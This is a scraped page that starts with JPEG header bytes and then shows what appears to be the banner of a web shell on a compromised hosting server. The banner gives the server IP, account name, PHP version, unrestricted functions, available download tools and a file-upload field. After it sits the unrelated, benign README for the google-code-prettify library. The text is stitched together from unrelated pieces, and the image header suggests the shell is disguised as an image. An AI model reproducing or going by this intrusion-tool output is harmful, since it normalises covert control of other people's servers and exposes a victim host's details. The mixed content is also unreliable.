����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.139.86.227 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/app/assets/admin/vendors/google-code-prettify/ |
Upload File : |
# Google Code Prettify Direct port of svn into git from http://google-code-prettify.googlecode.com/svn/trunk/ ## Install via [Bower](http://twitter.github.com/bower/) bower install google-code-prettify or [Yeoman](http://yeoman.io/) yeoman install google-code-prettify ## Usage The prettify script is AMD compatible and can be used modularly. Here is an example of it in an AMD module: ```javascript define(['jquery', 'prettify'], function($, prettify){ var code = null; $('pre').addClass('prettyprint').each(function(idx, el){ code = el.firstChild; code.innerHTML = prettify.prettyPrintOne(code.innerHTML); }) ); }); ``` This version of google-code-prettify defines an anonymous module, which is more flexible. To allow your AMD loader to find google-code-prettify with a more convenient name, map a path to it as follows: ```js // using RequireJS require.config({ prettify: 'bower_components/google-code-prettify/prettify' }); // using curl.js curl.config({ prettify: 'bower_components/google-code-prettify/prettify' }); ``` Or it may just be used in a global context like the following: ```javascript (function(){ $('pre').addClass('prettyprint'); prettyPrint(); })(); ``` More information can be found in the original [README.html](http://google-code-prettify.googlecode.com/svn/trunk/README.html)